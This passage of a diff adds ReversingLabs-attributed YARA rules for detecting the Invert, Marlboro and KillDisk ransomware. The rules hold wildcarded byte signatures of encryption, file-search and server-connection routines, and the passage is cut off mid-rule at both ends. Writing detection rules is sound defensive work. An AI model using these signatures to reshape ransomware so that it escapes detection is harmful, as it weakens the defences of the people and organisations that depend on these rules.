+            E9 ?? ?? ?? ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 89 01 48 8B 44 24 ?? 48 8B
+            40 ?? 48 83 38 ?? 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? B8 ?? ??
+            ?? ?? 48 6B C0 ?? 48 83 BC 04 ?? ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 8B
+            8C 04 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B8
+        }
+		$encrypt_files_p2 = {
+            4C 8D 05 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 89
+            55 ?? 48 89 45 ?? EB ?? 31 C0 41 89 C0 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 89
+            45 ?? EB ?? 48 8B 45 ?? 48 83 F8 ?? 74 ?? 48 8B 55 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? EB ?? EB ?? 48 81 C4 ?? ?? ?? ?? 5D C3 48 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 48 8B
+            85 ?? ?? ?? ?? 48 85 C0 74 ?? EB ?? EB ?? 0F 0B 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ??
+            ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ??
+            ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ??
+            ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ??
+            48 89 85 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ??
+            48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 85
+            C0 74 ?? EB ?? EB ?? 0F 0B 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ??
+            ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ??
+            ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ??
+            ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ??
+            48 8B 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 89 8D
+        }
+		$find_files = {
+            48 8D 9C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 D9 31 D2 E8 ?? ?? ?? ?? 48 8B 0F 48
+            89 DA E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 8D B4 24 ?? ?? ?? ?? 48 8D 9C 24 ??
+            ?? ?? ?? 66 83 BC 24 ?? ?? 00 00 ?? 74 ?? EB ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8B 0F 48
+            89 DA E8 ?? ?? ?? ?? 85 C0 74 ?? 66 83 BC 24 ?? ?? 00 00 ?? 75 ?? 0F B7 84 24 ?? ??
+            ?? ?? 66 85 C0 74 ?? 66 83 F8 ?? 75 ?? 66 83 BC 24 ?? ?? 00 00 ?? 74 ?? 48 8B 47 ??
+            F0 48 83 00 ?? 0F 8E ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 41
+            B8 ?? ?? ?? ?? 4C 89 F1 E8 ?? ?? ?? ?? 48 C7 06 ?? ?? ?? ?? 48 8D 4E ?? 48 8D 94 24
+            ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48
+            C7 06 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 C7 06 ?? ?? ?? ?? C6 46 ?? ?? 89 46 ?? 48
+            89 F0 0F 28 B5 ?? ?? ?? ?? 0F 28 BD ?? ?? ?? ?? 44 0F 28 85 ?? ?? ?? ?? 44 0F 28 8D
+            ?? ?? ?? ?? 44 0F 28 95 ?? ?? ?? ?? 44 0F 28 9D ?? ?? ?? ?? 44 0F 28 A5 ?? ?? ?? ??
+            44 0F 28 AD ?? ?? ?? ?? 44 0F 28 B5 ?? ?? ?? ?? 44 0F 28 BD ?? ?? ?? ?? 48 8D A5 ??
+            ?? ?? ?? 5B 5F 5E 41 5E 5D C3 0F 0B
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Invert : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Invert ransomware."
+		author = "ReversingLabs"
+		id = "7ef77946-a902-5dc6-9b3c-b7b6a687eb96"
+		date = "2021-11-11"
+		modified = "2021-11-11"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Invert.yara#L1-L66"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "1608b8bbfc03b18a79752e60f211da7d7703862bc06b2ddf094074ae5efd0d14"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Invert"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files = {
+            73 ?? ?? ?? ?? 0A 06 04 7D ?? ?? ?? ?? 00 00 02 28 ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 25 2D
+            ?? 26 06 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 0C 7D ?? ?? ?? ?? 08 7E ?? ?? ?? ?? 25
+            2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73
+            ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ??
+            FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D
+            ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 07 6F ?? ?? ?? ?? 0D 00 00 09 03 28 ?? ??
+            ?? ?? 13 ?? 11 ?? 2C ?? 00 7E ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 26 00 00 DE ?? 26 00 00 DE
+            ?? 00 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 2A
+        }
+		$find_files = {
+            00 73 ?? ?? ?? ?? 0A 00 28 ?? ?? ?? ?? 18 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? A2 25 17
+            72 ?? ?? ?? ?? A2 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 12 ?? 28 ??
+            ?? ?? ?? 0C 00 06 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE
+            ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 06
+            0D 2B ?? 09 2A
+        }
+		$get_file_list = {
+            00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 2C
+            ?? 00 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 38 ?? ??
+            ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B
+            00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 12 ?? 28 ?? ?? ?? ?? 0D 00 07 09 6F ?? ??
+            ?? ?? 00 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
+            DC 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 00 00 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($get_file_list) and ($find_files) and ($encrypt_files)
+}
+rule REVERSINGLABS_Win32_Ransomware_Marlboro : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Marlboro ransomware."
+		author = "ReversingLabs"
+		id = "7cd3b436-47e3-5711-9b59-cef70efe3b45"
+		date = "2020-07-23"
+		modified = "2020-07-23"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Marlboro.yara#L1-L117"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "d36c3cf52af47e9f638f58aabc19298e8c58831c3083f82e4c194319503eeaaa"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Marlboro"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$ping_apnic = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 0F 57
+            C0 F3 0F 7F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
+            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
+            8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$remote_server_connection_1 = {
+            BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D7 8B C8 E8 ?? ?? ?? ?? BA ?? ??
+            ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B
+            C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 8D 4D ??
+            50 E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8
+        }
+		$remote_server_connection_2 = {
+            84 C0 74 ?? B3 ?? EB ?? 32 DB C7 45 ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 83 7D
+            ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3D ?? ?? ??
+            ?? 74 ?? 8D 80 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? [0-3] 8B 85 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 C6
+            45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 8B F0 85 C9 74 ?? 8B
+            01 FF 50 ?? 85 C0 74 ?? 8B 10 8B C8 6A ?? FF 12 8B 06 8B CE 6A ?? 8B 40 ?? FF D0
+        }
+		$remote_server_connection_3 = {
+            50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 83 C4 ?? 8B 7D ?? 8B 08 8B 49
+            ?? F6 44 01 ?? ?? 75 ?? 8B 75 ?? 8D 4D ?? 83 FB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F
+            43 CF 3B F0 0F 42 C6 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 83 FE ?? 73 ?? 83 C8 ??
+            EB ?? 33 C0 83 FE ?? 0F 95 C0 85 C0 0F 94 C0 84 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 83 FB ?? 72
+        }
+		$remote_server_connection_4 = {
+            57 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D
+            ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            C6 EB ?? 8B 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8B 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 ??
+            ?? ?? ?? C3 8B 85 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33
+            CD E8 ?? ?? ?? ?? 8B E5 5D
+        }
+		$encrypt_file = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 51 C7 45 ?? ?? ?? ?? ?? 8D 55 ??
+            8B 35 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 51 0F 43 45 ?? 8D 8D ?? ?? ??
+            ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BF ?? ?? ?? ??
+            8B 40 ?? 75 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 0B C7 EB ?? 03 C8 33 C0 39
+            41 ?? 0F 44 C7 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 8D 8D ??
+            ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ??
+            75 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? EB ?? 03 C8 33 C0 39 41 ??
+            0F 44 C7 6A ?? 50 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 83 EC
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 6A ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8D 8D ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 75 ?? 8D 64 24 ?? 51 8D 55 ??
+            8B CE E8 ?? ?? ?? ?? 51 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45
+            ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 74 ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03
+            C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8
+            8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D
+            45 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B 40 ??
+            C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ??
+            ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 85 ??
+            ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41
+            ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ??
+            C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ??
+            ?? ?? 8D 45 ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF
+            75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? C7 45 ?? ?? ??
+            ?? ?? 66 89 45 ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ??
+            ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $ping_apnic and $remote_server_connection_1 and $remote_server_connection_2 and $remote_server_connection_3 and $remote_server_connection_4 and $encrypt_file
+}
+rule REVERSINGLABS_Win32_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects KillDisk ransomware."
+		author = "ReversingLabs"
+		id = "bd04ac88-987a-58f0-8f0a-508662b3c930"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.KillDisk.yara#L1-L80"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6148e6fc1363ff8995a9100e07139bfa658c72892db4d30a973bad0f2b3e6c3f"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "KillDisk"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 8B AC 24 ?? ?? ??
+            ?? 56 57 33 FF 8B F1 3B F7 89 7D ?? 89 7D ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56
+            FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 95 C0 84 C0 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 8D
+            4C 24 ?? 89 7C 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? B8 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 8B 5C 24 ?? 3B DF 8B 44 24 ?? 89 45 ?? 89 5D ?? 77 ?? 83 F8 ?? 0F 82
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 56 FF 15
+            ?? ?? ?? ?? 8B E8 3B EF 0F 84 ?? ?? ?? ?? 83 FD ?? 0F 84 ?? ?? ?? ?? 8B 0D ?? ?? ??
+            ?? 33 C0 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89
+            44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 6A ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 54
+            24 ?? 57 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
+            4C 24 ?? 51 8D 54 24 ?? 89 7C 24 ?? 52 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            85 C0 0F 84 ?? ?? ?? ?? 8B 74 24 ?? 6A ?? 8B C6 05 ?? ?? ?? ?? 50 8B CB 83 D1 ?? 51
+            6A ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 85 C0 89 44 24 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84
+            ?? ?? ?? ?? 8D 4C 24 ?? 51 53 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 84 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D B4
+            24 ?? ?? ?? ?? 8D 7C 24 ?? 8D 44 24 ?? F3 A5 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 08 89 8C 24 ?? ?? ?? ?? 8B 50 ?? 89 94 24 ?? ?? ?? ?? 8B 48 ?? 89 8C 24
+            ?? ?? ?? ?? 8B 50 ?? 89 94 24 ?? ?? ?? ?? 8B 48 ?? 89 8C 24 ?? ?? ?? ?? 8B 50 ?? 8D
+            74 24 ?? 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 6A ?? 53 50 55 FF 15
+            ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 8D 54 24 ?? 52 55 C7 44 24 ?? ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 8B F0 8B 44 24 ?? F7 DE 1B F6 83 E6 ?? 50 83 C6 ?? FF 15 ??
+            ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B C6 EB ?? 8B 44 24 ?? 50 BE ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 55 FF 15 ?? ?? ?? ?? 8B C6 EB ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 EB
+            ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 EB ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 8B C6 EB ?? BE ?? ?? ?? ?? 8B C6 EB ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E
+            5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
         }
+		$app_whitelisting_1 = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 32 DB FF 15
+            ?? ?? ?? ?? 6A ?? 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B E8 85 ED 89 6C 24 ?? 0F 84
